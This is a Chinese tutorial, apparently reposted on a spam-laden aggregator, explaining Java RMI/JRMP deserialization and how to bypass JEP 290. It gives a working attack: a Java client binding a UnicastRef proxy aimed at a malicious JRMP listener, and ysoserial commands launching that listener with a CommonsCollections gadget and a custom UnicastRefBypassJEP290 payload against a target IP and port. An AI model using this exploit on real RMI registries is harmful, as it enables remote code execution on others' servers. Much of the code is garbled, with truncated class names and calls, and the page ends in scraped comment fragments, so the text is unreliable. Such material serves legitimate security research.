JRMP通信攻击过程及利用介绍
JRMP通信攻击过程及利用介绍
JRMP(JAVA Remote Method Protocol,即Java远程方法调用协议)是特定于Java技术的、用于查和引用远程对象的协议,运行在Java远程方法调用(RMI)之下、TCP/IP之上的线路层协议(英语:Wire protocol),同时JRMP协议规定了在使用RMI的时候传输的数据中如果包含有JAVA原生序列化数据时,无论是在JRMP的客户端还是服务端,在接收到JRMP协议数据时都会把序列化的数据进行反序列化的话,这就有可能导致反序列化漏洞的产生了
JRMP接口的两种常见实现方式:
- JRMP协议(Java Remote Message Protocol),RMI专用的Java远程消息交换协议
- IIOP协议(Internet Inter-ORB Protocol) ,基于CORBA实现的对象请求代理协议
(1) 定义远程接口 首先我们需要定义一个远程接口,这个接口描述了可以被远程调用的方法,
代码语言:javascript代码运行次数:0运行复制package org.al1ex;
import java.rmi.Remote;
import java.rmi.RemoteException;
// 定义远程接口
public interface HelloService extends Remote {
String sayHello(String name) throws RemoteException;
}
(2) 实现远程接口 接下来实现上述远程接口,创建一个完整的远程服务类,需要注意的是这个接口需要继承UnicastRemoteObject并实现一个无参构造方法:
代码语言:javascript代码运行次数:0运行复制package org.al1ex;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
// 实现远程接口
public class HelloServiceImpl extends UnicastRemoteObject implements HelloService {
protected HelloServiceImpl() throws RemoteException {
super();
}
public String sayHello(String name) throws RemoteException {
return "Hello, " + name + "!";
}
}
() 注册对象并启动JVM 在服务器端我们需要创建一个RMI注册表将远程服务对象绑定到注册表中
代码语言:javascript代码运行次数:0运行复制package org.al1ex;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String[] args) {
try {
// 创建远程对象
HelloService helloService = new HelloServiceImpl();
// 创建 RMI 注册表
Registry registry = (1099);
registry.rebind("HelloService", helloService); // 绑定远程对象到注册表
println("RMI Server is ready.");
} catch (Exception e) {
e.printStackTrace();
}
}
}
(4) 最后创建一个客户端来调用远程服务的sayHello方法
代码语言:javascript代码运行次数:0运行复制package org.al1ex;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIClient {
public static void main(String[] args) {
try {
// 获取 RMI 注册表
Registry registry = LocateRegistry.getRegistry("localhost", 1099);
HelloService stub = (HelloService) registry.lookup("HelloService");
// 调用远程方法
String respe = stub.sayHello("World"); // 传递参数 "World"
println("Respe from server: " + respe);
} catch (Exception e) {
e.printStackTrace();
}
}
}
服务端运行结果:
客户端运行结果:
JEP290增强机制是在2016年提出的一个针对JAVA 9的一个新特性,用于缓解反序列化攻击,随后官方决定向下引进该增强机制,分别对JDK 6,7,8进行了支持:
- Java SE Development Kit 8, Update 121 (JDK 8u121)
- Java SE Development Kit 7, Update 11 (JDK 7u11)
- Java SE Development Kit 6, Update 141 (JDK 6u141)
JEP290主要做了以下几件事:
- 限制反序列化的深度和复杂度
- 为RMI远程调用对象提供了一个验证类的机制
- 提供一个限制反序列化类的机制,白名单/黑名单
- 定义一个可配置的过滤机制,比如可以通过配置properties文件的形式来定义过滤器
下面我们简易分析一下JEP 290检测机制的工作原理: RMI的实现流程如下所示:
在远程引用层中客户端服务端两个交互的类分别是RegistryImpl_Stub和RegistryImpl_Skel,在服务端的RegistryImpl_Skel类中向注册中心进行bind、rebind操作时均进行了readObject操作以此拿到Remote远程对象引用,在这里跟进查看一番:在远程引用层中客户端服务端两个交互的类分别是RegistryImpl_Stub和Regis
在readObject中又调用了readObject,之后继续跟进:
然后进入readObject0()
在readObject0()之中进入readOrdinaryObject()
继续进入readClassDesc()
之后进入readProxyDesc()
在readProxyDesc()中有filterCheck
进入filterCheck()之后先检查其所有接口,然后检查对象自身:
在这里调用了(),最终来到sun.rmi.registry.RegistryImpl#registryFilter,在这里由于白名单中不含有当前AnnotationInvocationHandler类,所以返回REJECTED
代码语言:javascript代码运行次数:0运行复制if (!var2.isArray()) {
return != var2 &&
!isAssignableFrom(var2) &&
!isAssignableFrom(var2) &&
!isAssignableFrom(var2) &&
!isAssignableFrom(var2) &&
!isAssignableFrom(var2) &&
!isAssignableFrom(var2) &&
!isAssignableFrom(var2) &&
!isAssignableFrom(var2)
?Status.REJECTED : Status.ALLOWED;
}
即白名单类:
代码语言:javascript代码运行次数:0运行复制
从上面可以看到在处理序列化数据时已经有了白名单的检查,但是我们还可以通过JRMP进行绕过,基本原理如下图所示
说白了就是利用在JDK8u21之前的JDK版本能够让注册中心反序列化UnicastRef类,从而使这个类发起一个JRMP连接到恶意JRMP服务端上,从而在DGC层造成一个反序列化
首先定义一个测试接口
代码语言:javascript代码运行次数:0运行复制package RMI;
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface User extends Remote {
String name(String name) throws RemoteException;
void say(String say) throws RemoteException;
void dowork(Object work) throws RemoteException;
}
随后实现接口,此接口需要有一个显示的构造函数并且要抛出一个RemoteException异常
代码语言:javascript代码运行次数:0运行复制package RMI;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
// java.rmi.server.UnicastRemoteObject构造函数中将生成stub和skeleton
public class UserImpl extends UnicastRemoteObject implements User{
// 必须有一个显式的构造函数,并且要抛出一个RemoteException异常
public UserImpl() throws RemoteException{
super();
}
@Override
public String name(String name) throws RemoteException{
return name;
}
@Override
public void say(String say) throws RemoteException{
println("you speak" + say);
}
@Override
public void dowork(Object work) throws RemoteException{
println("your work is " + work);
}
}
RMISever端:
代码语言:javascript代码运行次数:0运行复制package RMI;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String[] args) throws Exception{
Registry registry = (1099);
User user = new UserImpl();
registry.rebind("HelloRegistry", user);
println("rmi start at 1099");
}
}
RMIClient端:
代码语言:javascript代码运行次数:0运行复制package RMI;
import sun.rmi.server.UnicastRef;
import sun.LiveRef;
import sun.tcp.TCPEndpoint;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;
public class RMIClient {
public static void main(String[] args) throws RemoteException, IllegalAccessException, InvocationTargetException, InstantiationException, ClassotFoundException, oSuchMethodException, AlreadyBoundException {
Registry reg = LocateRegistry.getRegistry("localhost",1099); // rmi start at 1099
ObjID id = new ObjID(new Random().nextInt());
TCPEndpoint te = new TCPEndpoint("127.0.0.1", 1088); // JRMPListener's port is 1088
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry) (getClassLoader(), new Class[] {
}, obj);
reg.bind("Hello",proxy);
}
}
下面进行具体的漏洞利用演示: Step 1:首先使用ysoserial启动一个恶意的JRMPListener
代码语言:javascript代码运行次数:0运行复制"C:\Program Files\Java\jdk1.8.0_151\bin\" -cp ysoserial.jar JRMPListener 1088 CommCollecti5 " /c calc"
Step 2:启动一个RMI服务
代码语言:javascript代码运行次数:0运行复制package test;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class UserServer {
public static void main(String[] args) throws Exception{
Registry registry = (1099);
User user = new UserImpl();
registry.rebind("HelloRegistry", user);
println("rmi start at 1099");
}
}
Step :客户端获取注册中心示例并绑定一个UnicastRef对象到注册中心中去
代码语言:javascript代码运行次数:0运行复制package RMI;
import sun.rmi.server.UnicastRef;
import sun.LiveRef;
import sun.tcp.TCPEndpoint;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;
public class RMIClient {
public static void main(String[] args) throws RemoteException, IllegalAccessException, InvocationTargetException, InstantiationException, ClassotFoundException, oSuchMethodException, AlreadyBoundException {
Registry reg = LocateRegistry.getRegistry("localhost",1099); // rmi start at 1099
ObjID id = new ObjID(new Random().nextInt());
TCPEndpoint te = new TCPEndpoint("127.0.0.1", 1088); // JRMPListener's port is 1088
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry) (getClassLoader(), new Class[] {
}, obj);
reg.bind("Hello",proxy);
}
}
JRMPListener端不间断的发送返回数据过去,此时注册表中心收到后会不断的进行反序列化操作
下面我们在客户端下断点进行分析,首先可以看到这里的客户端调用LocateRegistry.getRegistry获取注册中心后,获得了一个封装了UnicastRef对象的RegistryImpl_Stub对象,其中UnicastRef对象用于与注册中心创建通信
当我们调用bind()方法时,会通过UnicastRef对象中存储的信息与注册中心进行通信,而且在这里会通过ref与注册中心通信并将绑定的对象名称以及要绑定的远程对象发过去,注册中心在后续会对应进行反序列化
注册中心在接收到请求后使用的readObject方法最终是调用了RemoteObjectInvocationHandler父类RemoteObject的readObject(RemoteObjectInvocationHandler没有实现readObject方法)
下面我们跟进这里的ReadObject方法最后有一个ref.readExternal(in);
调用栈如下所示:
代码语言:javascript代码运行次数:0运行复制readObject:455, RemoteObject (java.rmi.server)
invoke0:-1, ativeMethodAccessorImpl (sun.reflect)
invoke:62, ativeMethodAccessorImpl (sun.reflect)
invoke:4, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2178, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:157, ObjectInputStream (java.io)
defaultReadFields:2287, ObjectInputStream (java.io)
readSerialData:2211, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:157, ObjectInputStream (java.io)
readObject:41, ObjectInputStream (java.io)
dispatch:76, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:468, UnicastServerRef (sun.rmi.server)
dispatch:00, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.)
run:197, Transport$1 (sun.)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.)
handleMessages:57, TCPTransport (sun.tcp)
run0:84, TCPTransport$ConnectionHandler (sun.tcp)
lambda$run$0:688, TCPTransport$ConnectionHandler (sun.tcp)
run:-1, 57967274 (sun.tcp.TCPTransport$ConnectionHandler$$Lambda$5)
doPrivileged:-1, AccessController (java.security)
run:687, TCPTransport$ConnectionHandler (sun.tcp)
runWorker:1149, ThreadPoolExecutor (java.)
run:624, ThreadPoolExecutor$Worker (java.)
run:748, Thread (java.lang)
继续跟进后可以看到这里调用了LiveRef.read()
继续跟进后可以看到这里把payload里所传入的LiveRef解析到var5变量处,里面包含了IP与端口信息(JRMPListener的端口),这些信息将用于后面注册中心与JRMP端建立通信
随后回到dispatch那里,在这里调用了readObject方法之后又调用了var2.releaseInputStream();,持续跟入
继续跟入this.in.registerRefs();
可以看到这里的传利的var2就是之前的IP和端口信息,继续跟入:
EndpointEntry创建了一个DGCImpl_Stub,最后DGCCient.EndpointEntry返回的var2是一个DGCClient对象:
继续跟入var2.registerRef,可以看到在最后一行调用了并传入了DGCClient对象:
跟进之后可以看到调用了this.dgc.dirty方法
在这里注册中心就跟JRMP开始建立连接了,首先通过newCall建立连接,随后通过writeObject写入要请求的数据,invoke来处理传输数据,这里是将数据发送到JRMP端,跟入this.ref.invoke(var5);
随后跟入():
随后JRMP端发过来的数据会在这里被反序列化,这一个过程是没有调用setObjectInputFilter的,serialFilter也就为空,所以只需要让JRMP端返回一个恶意对象就可以攻击成功了,而这个JRMP端可以直接用ysoserial启动
在这里我们在ysoserial() 中进行利用扩展支持,工具利用方式如下: Step 1:首先使用ysoserial启动一个恶意的JRMPListener
Step 2:启动一个RMI服务
代码语言:javascript代码运行次数:0运行复制package org.al1ex;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String[] args) {
try {
// 创建远程对象
HelloService helloService = new HelloServiceImpl();
// 创建 RMI 注册表
Registry registry = (1099);
registry.bind("HelloService", helloService); // 绑定远程对象到注册表
println("RMI Server is ready.");
} catch (Exception e) {
e.printStackTrace();
}
}
}
Step :客户端获取注册中心示例并绑定一个UnicastRef对象到注册中心中去
代码语言:javascript代码运行次数:0运行复制#格式说明
"C:\Program Files\Java\jdk1.8.0_151\bin\" -cp ysoserial.jar UnicastRefBypassJEP290 <攻击目标IP> <攻击目标端口> <本地JRMP服务IP> <本地JRMP服务端口>
#执行示例
"C:\Program Files\Java\jdk1.8.0_151\bin\" -cp ysoserial.jar UnicastRefBypassJEP290 127.0.0.1 1099 127.0.0.1 1088
此时的JRMP客户端执行效果如下:
.pdf /%E4%B8%80%E6%AC%A1%E6%94%BB%E5%87%BB%E5%86%85%E7%BD%91rmi%E6%9C%8D%E5%8A%A1%E7%9A%84%E6%B7%B1%E6%80%9D/
推 荐 阅 读
横向移动之RDP&Desktop Session Hija
本文参与 腾讯云自媒体同步曝光计划,分享自。原始发表:2025-01-02,如有侵权请联系 cloudcommunity@tencent 删除客户端通信序列化对象接口#感谢您对电脑配置推荐网 - 最新i3 i5 i7组装电脑配置单推荐报价格的认可,转载请说明来源于"电脑配置推荐网 - 最新i3 i5 i7组装电脑配置单推荐报价格
推荐阅读
留言与评论(共有 18 条评论) |
本站网友 泰州房产 | 23分钟前 发表 |
基本原理如下图所示说白了就是利用在JDK8u21之前的JDK版本能够让注册中心反序列化UnicastRef类 | |
本站网友 欺弱怕强 | 13分钟前 发表 |
Update 141 (JDK 6u141)JEP290主要做了以下几件事:限制反序列化的深度和复杂度为RMI远程调用对象提供了一个验证类的机制提供一个限制反序列化类的机制 | |
本站网友 劲嘉龙园印象 | 18分钟前 发表 |
AlreadyBoundException { Registry reg = LocateRegistry.getRegistry("localhost" | |
本站网友 楼房装修图片 | 29分钟前 发表 |
te | |
本站网友 鼻炎通 | 9分钟前 发表 |
比如可以通过配置properties文件的形式来定义过滤器下面我们简易分析一下JEP 290检测机制的工作原理: RMI的实现流程如下所示:在远程引用层中客户端服务端两个交互的类分别是RegistryImpl_Stub和RegistryImpl_Skel | |
本站网友 联想收购ibm | 14分钟前 发表 |
455 | |
本站网友 茶楼 | 19分钟前 发表 |
ObjectInputStream (java.io) defaultReadFields | |
本站网友 橡树湾二手房 | 23分钟前 发表 |
从而使这个类发起一个JRMP连接到恶意JRMP服务端上 | |
本站网友 泸州房产 | 14分钟前 发表 |
57967274 (sun.tcp.TCPTransport$ConnectionHandler$$Lambda$5) doPrivileged | |
本站网友 关键词广告 | 22分钟前 发表 |
new Class[] { } | |
本站网友 公交性骚扰 | 9分钟前 发表 |
用于缓解反序列化攻击 | |
本站网友 复方一枝黄花 | 5分钟前 发表 |
57 | |
本站网友 1999年多大了 | 1分钟前 发表 |
TCPTransport$ConnectionHandler (sun.tcp) run | |
本站网友 it博客 | 12分钟前 发表 |
helloService); // 绑定远程对象到注册表 println("RMI Server is ready."); } catch (Exception e) { e.printStackTrace(); } } }(4) 最后创建一个客户端来调用远程服务的sayHello方法代码语言:javascript代码运行次数:0运行复制package org.al1ex; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class RMIClient { public static void main(String[] args) { try { // 获取 RMI 注册表 Registry registry = LocateRegistry.getRegistry("localhost" | |
本站网友 合肥财富广场 | 27分钟前 发表 |
此接口需要有一个显示的构造函数并且要抛出一个RemoteException异常代码语言:javascript代码运行次数:0运行复制package RMI; import java.rmi.RemoteException; import java.rmi.server.UnicastRemoteObject; // java.rmi.server.UnicastRemoteObject构造函数中将生成stub和skeleton public class UserImpl extends UnicastRemoteObject implements User{ // 必须有一个显式的构造函数 | |
本站网友 wraps | 10分钟前 发表 |
InvocationTargetException | |
本站网友 穷站长 | 11分钟前 发表 |
Transport$1 (sun.) doPrivileged |